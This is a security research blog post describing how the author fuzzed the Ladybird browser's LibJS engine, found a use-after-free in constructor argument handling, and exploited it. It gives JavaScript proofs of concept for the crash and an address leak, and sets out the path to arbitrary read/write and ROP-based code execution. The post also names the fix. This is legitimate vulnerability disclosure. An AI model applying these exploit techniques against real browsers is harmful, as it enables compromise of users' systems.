Jess's Cafe

Pwning the Ladybird browser

Intro

Ladybird is a relatively new browser engine originating from the SerenityOS project. Currently, it’s in pre-alpha and improving quickly. Take a look at the website and the GitHub for more information!

I’ll be researching the JavaScript engine of Ladybird, LibJS.

Architecture

LibJS has an interpreter tier and no compilation tiers (yet!). It includes common modern JS engine
optimizations and is built with extensive verification checks across its critical code paths and data
structures, including vectors, making scenarios such as integer overflows leading to out-of-bounds
accesses harder to exploit.

Fuzzing

We’ll be using Fuzzilli, a popular fuzzer for JavaScript interpreters. Here’s the description from the GitHub:

A (coverage-)guided fuzzer for dynamic language interpreters based on a custom intermediate language ("FuzzIL") which can be mutated and translated to JavaScript. - Fuzzilli

Fuzzilli can be configured with additional code generators that can be specialized to trigger specific bugs. LibJS isn’t actively being OSS-fuzzed, so I didn’t add any custom generators and hoped there would be enough shallow bugs around. There was already some persistent fuzzing code in LibJS. After some work — like needing to compile and link Skia with RTTI (Nix 💜), fixing some build scripts, and compiling Fuzzilli with an additional profile (again, Nix was great for this) — I got it all working!

I ran the fuzzer for ~10 days and found 10 unique crashes. A lot of the bugs were boring:

There were a few bugs that were more interesting:

Initially, I thought the regex bug was an integer overflow… unfortunately, it wasn’t. The real integer overflow
in TypedArray looked really promising — but it seems hard to exploit, with all the bounds checks protecting
vectors from bad accesses.

There were three bugs that looked really good: a heap buffer overflow, freelist corruption (or UAF) in the garbage collector, and a heap use-after-free (UAF) in the malloc heap. But unfortunately, only the last UAF was reproducible outside of Fuzzilli. I'm still not sure why the others didn't reproduce. This is the crash report for the heap buffer overflow, and this is the one for the freelist corruption, if interested.

The Bug

A Vulnerable Function

The bug is a use-after-free (UAF) on the interpreter’s argument buffer. It’s triggered by using a proxied function object as a constructor, together with a malicious [[Get]] handler.

Consider the following JavaScript:

function Construct() {}
new Construct();

The semantics are outlined here.

This is how it’s implemented in Ladybird:

// 10.2.2 [[Construct]] ( argumentsList, newTarget )
ThrowCompletionOr<GC::Ref<Object>> ECMAScriptFunctionObject::internal_construct(
    ReadonlySpan<Value> arguments_list, // [1]
    FunctionObject& new_target
) {
    auto& vm = this->vm();

    // 1. Let callerContext be the running execution context.
    // NOTE: No-op, kept by the VM in its execution context stack.

    // 2. Let kind be F.[[ConstructorKind]].
    auto kind = m_constructor_kind;

    GC::Ptr<Object> this_argument;

    // 3. If kind is base, then
    if (kind == ConstructorKind::Base) {
        // [2]
        // a. Let thisArgument be ? OrdinaryCreateFromConstructor(newTarget, "%Object.prototype%").
        this_argument = TRY(ordinary_create_from_constructor<Object>(
            vm,
            new_target,
            &Intrinsics::object_prototype,
            ConstructWithPrototypeTag::Tag
        ));
    }

    auto callee_context = ExecutionContext::create();

    // [3]
    // Non-standard
    callee_context->arguments.ensure_capacity(max(arguments_list.size(), m_formal_parameters.size()));
    callee_context->arguments.append(arguments_list.data(), arguments_list.size());
    callee_context->passed_argument_count = arguments_list.size();
    if (arguments_list.size() < m_formal_parameters.size()) {
        for (size_t i = arguments_list.size(); i < m_formal_parameters.size(); ++i)
            callee_context->arguments.append(js_undefined());
    }
    // [3 cont.] ...

The key parts are:

If the vector that arguments_list references is free()’d at any point between [1] and [3], then arguments_list will dangle; and when it’s used for the function call, it leads to a use-after-free.

Let’s look at ordinary_create_from_constructor, called at [2]:

// 10.1.13 OrdinaryCreateFromConstructor ( constructor, intrinsicDefaultProto [ , internalSlotsList ] )
template<typename T, typename... Args>
ThrowCompletionOr<GC::Ref<T>> ordinary_create_from_constructor(
    VM& vm,
    FunctionObject const& constructor,
    GC::Ref<Object> (Intrinsics::*intrinsic_default_prototype)(),
    Args&&... args)
{
    auto& realm = *vm.current_realm();
    auto* prototype = TRY(get_prototype_from_constructor(vm, constructor, intrinsic_default_prototype));
    return realm.create<T>(forward<Args>(args)..., *prototype);
}

It does the following:

It’s a simple method, but it can have side effects if the constructor happens to be a proxy object. If we override the constructor function’s [[Get]] internal method, the call to get_prototype_from_constructor can execute arbitrary JavaScript code. This is useful if we can get that code to free the argument buffer.

The Argument Buffer

The interpreter stores arguments for function calls in a vector called m_argument_values_buffer. It can grow, shrink, be freed, or reallocated — and we have some control over when that happens. For example, if the current buffer holds $5$ JS values, and we run:

foo(1, 2, 3, 4, 5, 6, 7, 8, 9, 10)

then the buffer will need to be freed and reallocated somewhere with space for 10 JS values. Using this, we can free the interpreter’s internal argument buffer — the same one that arguments_list still points to — before it’s used to set up the callee_context for the proceeding constructor call.

The fix is to do the prototype [[Get]] strictly after the callee context has been constructed. Here’s the patch.

Here’s an example:

function Construct() {}

let handler = {
    get() {
        function meow() {}
        meow(0x41, 0x41, 0x41);
    }
};

let ConstructProxy = new Proxy(Construct, handler);

new ConstructProxy(0x41);

We override Construct’s [[Get]] internal method with a function that tries to reallocate the argument buffer. Then we invoke the constructor to trigger the bug.

➜  ladybird git:(b8fa355a21) ✗ js bug.js
=================================================================
==8726==ERROR: AddressSanitizer: heap-use-after-free on address 0x5020000038f0 at pc 0x7f98dd1bf19e bp 0x7ffcc8ee2ef0 sp 0x7ffcc8ee2ee8
READ of size 8 at 0x5020000038f0 thread T0
    #0 0x7f98dd1bf19d  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xbbf19d)
    #1 0x7f98dd1bdf8f  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xbbdf8f)
    #2 0x7f98dd22a555  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xc2a555)
    #3 0x7f98dd539cdd  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xf39cdd)
    #4 0x7f98dce78c0e  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x878c0e)
    #5 0x7f98dcdcdc0a  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7cdc0a)
    #6 0x7f98dcdb818a  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7b818a)
    #7 0x7f98dcdb6971  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7b6971)
    #8 0x562b5099e2a2  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x1922a2)
    #9 0x562b5099b114  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x18f114)
    #10 0x562b509c1029  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x1b5029)
    #11 0x7f98dae2a1fd  (/nix/store/rmy663w9p7xb202rcln4jjzmvivznmz8-glibc-2.40-66/lib/libc.so.6+0x2a1fd) (BuildId: 7b6bfe7530bfe8e5a757e1a1f880ed511d5bfaad)
    #12 0x7f98dae2a2b8  (/nix/store/rmy663w9p7xb202rcln4jjzmvivznmz8-glibc-2.40-66/lib/libc.so.6+0x2a2b8) (BuildId: 7b6bfe7530bfe8e5a757e1a1f880ed511d5bfaad)
    #13 0x562b5084ed14  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x42d14)

0x5020000038f0 is located 0 bytes inside of 16-byte region [0x5020000038f0,0x502000003900)
freed by thread T0 here:
    #0 0x562b50940bf8  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x134bf8)
    #1 0x7f98dcd39e1e  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x739e1e)
    #2 0x7f98dcd3963d  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x73963d)
    #3 0x7f98dce90c12  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x890c12)
    #4 0x7f98dcdcd014  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7cd014)
    #5 0x7f98dcdb818a  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7b818a)
    #6 0x7f98dd228b7f  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xc28b7f)
    #7 0x7f98dd225cf6  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xc25cf6)
    #8 0x7f98dd530b92  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xf30b92)
    #9 0x7f98dd48e458  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xe8e458)
    #10 0x7f98dd09a76f  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xa9a76f)
    #11 0x7f98dd232d4b  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xc32d4b)
    #12 0x7f98dd22a381  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xc2a381)
    #13 0x7f98dd539cdd  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xf39cdd)
    #14 0x7f98dce78c0e  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x878c0e)
    #15 0x7f98dcdcdc0a  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7cdc0a)
    #16 0x7f98dcdb818a  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7b818a)
    #17 0x7f98dcdb6971  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7b6971)
    #18 0x562b5099e2a2  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x1922a2)
    #19 0x562b5099b114  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x18f114)
    #20 0x562b509c1029  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x1b5029)
    #21 0x7f98dae2a1fd  (/nix/store/rmy663w9p7xb202rcln4jjzmvivznmz8-glibc-2.40-66/lib/libc.so.6+0x2a1fd) (BuildId: 7b6bfe7530bfe8e5a757e1a1f880ed511d5bfaad)

previously allocated by thread T0 here:
    #0 0x562b50941bc7  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x135bc7)
    #1 0x7f98dcd39c7f  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x739c7f)
    #2 0x7f98dcd3963d  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x73963d)
    #3 0x7f98dce90c12  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x890c12)
    #4 0x7f98dcdcc161  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7cc161)
    #5 0x7f98dcdb818a  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7b818a)
    #6 0x7f98dcdb6971  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7b6971)
    #7 0x562b5099e2a2  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x1922a2)
    #8 0x562b5099b114  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x18f114)
    #9 0x562b509c1029  (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x1b5029)
    #10 0x7f98dae2a1fd  (/nix/store/rmy663w9p7xb202rcln4jjzmvivznmz8-glibc-2.40-66/lib/libc.so.6+0x2a1fd) (BuildId: 7b6bfe7530bfe8e5a757e1a1f880ed511d5bfaad)

SUMMARY: AddressSanitizer: heap-use-after-free (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xbbf19d)
Shadow bytes around the buggy address:
  0x502000003600: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x502000003680: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 00 fa
  0x502000003700: fa fa 00 fa fa fa fd fa fa fa fd fa fa fa 00 fa
  0x502000003780: fa fa 00 00 fa fa 00 fa fa fa 00 00 fa fa 00 00
  0x502000003800: fa fa fd fd fa fa fd fa fa fa 00 fa fa fa 00 fa
=>0x502000003880: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa[fd]fd
  0x502000003900: fa fa 00 fa fa fa 00 fa fa fa 00 00 fa fa 00 fa
  0x502000003980: fa fa 00 fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000003a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000003a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000003b00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==8726==ABORTING

Exploitation

UAF’s tend to be a nice primitive to work with. In this case, the UAF occurs in the glibc malloc heap (since that’s where the argument buffer is allocated), rather than in a garbage-collected arena where a lot of objects actually reside. The malloc heap mainly holds backing buffers and such, introducing a bit of complexity when it comes to finding the right objects for a leak; although this is somewhat mitigated by the powerful primitives available.

Leaking an Object

We can craft an addrof-capability by fitting a pointer somewhere inside the old arguments_list allocation, then reading the arguments object from inside the constructor.

Here’s an example of how we can leak the address of an object:

let target = {};
let linked = new FinalizationRegistry(() => {});

function meow() {}

let handler = {
    get() {
        // [2]
        // allocate more than 0x30 to free the chunk
        meow(0x1, 0x2, 0x3, 0x4, 0x5, 0x6);

        // [3]
        // allocate the free'd chunk, with pointer to the target
        linked.register(target, undefined, undefined, undefined, undefined, undefined)
    }
};

function Construct() {
    // [4]
    // read the linked list node, containing the pointer
    console.log(arguments)
}

let ConstructProxy = new Proxy(Construct, handler);

// [1]
// allocate a 0x30 chunk
// 0x8 * 5 (js values) + 0x8 (malloc metadata) = 0x30
new ConstructProxy(0x1, 0x2, 0x3, 0x4, 0x5);
The series of undefined arguments on $[3]$ is to make sure the linked list node is allocated in our free chunk and not any prelude allocations.

FinalizationRegistry places linked list nodes with object pointers on the malloc heap rendering them a useful structure to leak. Running the exploit we get the double representation of the pointer, if we repeat a few times they change slightly, subject to ASLR

➜  ladybird git:(b8fa355a21) ✗ Build/old/bin/js arguments.js
ArgumentsObject{ "0": 6.9077829341497e-310, "1": undefined, "2": 0, "3": 0, "4": 5 }
➜  ladybird git:(b8fa355a21) ✗ Build/old/bin/js arguments.js
ArgumentsObject{ "0": 6.8997364430636e-310, "1": undefined, "2": 0, "3": 0, "4": 5 }

And sure enough when we pack into raw bytes, we get the pointer!

>>> struct.pack("<d", 6.8997364430636e-310)[::-1].hex()
'00007f0350fc2118'

Creating a Fake Object

We can fake a JavaScript object pointer in a similar way. We allocate a buffer into arguments_list, write our fake object pointer into it, and then use the fake object inside the constructor. There are a few additional considerations:

Apart from that, it’s very similar; and we’ll do so in the next section.

Arbitrary Read/Write

Dynamic property lookups on objects are handled by the get_by_value function, shown below. If the key is an index ([1]) and the object is an array-like ([2]) (it has an m_indexed_properties member), then the property is fetched from the m_indexed_properties member.

inline ThrowCompletionOr<Value> get_by_value(
    VM& vm,
    Optional<IdentifierTableIndex> base_identifier,
    Value base_value,
    Value property_key_value,
    Executable const& executable
) {
    // [1]
    // OPTIMIZATION: Fast path for simple Int32 indexes in array-like objects.
    if (base_value.is_object() && property_key_value.is_int32() && property_key_value.as_i32() >= 0) {
        auto& object = base_value.as_object();
        auto index = static_cast<u32>(property_key_value.as_i32());

        auto const* object_storage = object.indexed_properties().storage();

        // [2]
        // For "non-typed arrays":
        if (!object.may_interfere_with_indexed_property_access()
            && object_storage) {
            auto maybe_value = [&] {
                // [3]
                if (object_storage->is_simple_storage())
                    return static_cast<SimpleIndexedPropertyStorage const*>(object_storage)->inline_get(index);
                else
                    return static_cast<GenericIndexedPropertyStorage const*>(object_storage)->get(index);
            }();
            if (maybe_value.has_value()) {
                auto value = maybe_value->value;
                if (!value.is_accessor())
                    return value;
            }
        }
        
        // try some further optimizations, otherwise fallback to a generic `internal_get`
        ...

Furthermore if the storage type is SimpleIndexedPropertyStorage then the following method is used.

[[nodiscard]] Optional<ValueAndAttributes> inline_get(u32 index) const
{
    if (!inline_has_index(index))
        return {};
    return ValueAndAttributes { m_packed_elements.data()[index], default_attributes };
}

This indexes into the m_packed_elements vector using our offset. This code path (indexing into an array-like object that has a SimpleIndexedPropertyStorage) contains no virtual function calls, meaning we don’t need to give our fake object a vtable pointer — which is useful, in that we don’t need to know where one is.

We set up our fake object such that m_indexed_properties points to a fake SimpleIndexedPropertyStorage object, whose m_packed_elements then points to the location of the read. This is simpler than it sounds, as all these structures can be overlapped in the same memory region.

Diagram of object layout

Now that we have the structures laid out in memory, all that’s left is ensuring:

After we have a reliable read capability, we can leak the vtable for SimpleIndexedPropertyStorage, then patch our fake storage object. This gives us a write capability by doing the opposite process to the read, without crashing.

Code Execution

Once we have an arbitrary read/write, we have complete control over the renderer:

The most reliable method for getting code execution appears to be overwriting a return pointer.

First, we leak the location of the stack by following a chain of pointers around the address space. The chain begins with a pointer into the LibJS mapping (the vtable pointer of our object). From there, we leak a GOT entry taking us to libc, where we finally leak a pointer to the stack (via __libc_argv).

Once we’ve found the stack, we search for a specific return pointer (__libc_start_call_main) and overwrite it with a ROP chain. The POC ROP chain is simple; it execve’s /calc (syscall 0x3b), which is a symbolic link to the calculator app. A more complex payload would map RWX pages for a second stage.

All that’s left is to close the tab, which will collapse the stack and trigger the ROP chain.

This is the final exploit code for the browser, and this is the exploit for the REPL. Both working on b8fa355a21 — x86_64-linux

Below is a video of the final exploit!